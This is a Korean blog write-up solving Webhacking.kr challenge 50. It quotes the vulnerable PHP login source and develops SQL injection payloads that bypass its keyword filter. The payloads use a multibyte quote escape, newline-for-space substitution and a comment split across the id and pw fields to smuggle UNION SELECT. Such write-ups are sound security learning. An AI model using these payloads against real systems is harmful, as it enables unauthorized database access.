본문 바로가기
[웹해킹]/[Webhacking.kr]

[Webhacking.kr] 50번

by Hevton 2020. 11. 15.
반응형

점점 활용을 요하는 문제가 나온다.

 

문제화면

 

소스보기를 해보자

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

 

일단 level2부터 확인해보자.

 

멀티바이트를 사용하는 환경이므로

id부분에 다음과 같이 넘겨줄 생각이다.

 

%aa%27 or lv like 2#

->  url인코딩

%aa%27%0aor%0alv%0alike%0a2%23

 

결과로 level 2 뜬다. 그리고 마찬가지로 3도 해봤다.

 

%aa%27 or lv like 3#

-> url인코딩

%aa%27%0aor%0alv%0alike%0a3%23

 

결과로 Wrong이 뜬다. 소스를 확인해보니 3이 아니라 "3" 값을 얻어야 한다.

혹시몰라서 "3"의 아스키코드값인 0x33(16진수) 값을 넣어봤다.

 

%aa%27%0aor%0alv%0alike%0a0x33%23

 

결과로 Wrong이 뜬다. 이와 같은 방식으로 접근하는건 아닌듯 싶다.

 

아무리 생각해봐도 UNION 을 사용해야하는데, $_GET['id'] 가 UNION 필터가 적용되어있다.

근데 UNION 필터가 $_GET['pw'] 에는 적용되어 있지 않으니 이를 고려하여 우회할 방법을 생각해보자.

 

select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')

->

select lv from chall50 where id='?'/*' and pw = md5(' /*UNION select '3'#')

 

슬래쉬는 필터링중이지 않으니, 구간 주석인 /* */ 을 이용한 것.

 

따라서 이를 URL 인코딩한

id=%aa%27%2F%2A&pw=%2A%2FUNION%0aSELECT%0a0x33%23 값을 넣어주면 된다.

 

 

반응형

'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글

[Webhacking.kr] 52번 & 질문  (0) 2020.11.22
[Webhacking.kr] 51번  (0) 2020.11.15
[Webhacking.kr] 49번  (0) 2020.11.15
[Webhacking.kr] 48번  (0) 2020.11.15
[Webhacking.kr] 47번 - 아시는분?  (0) 2020.11.14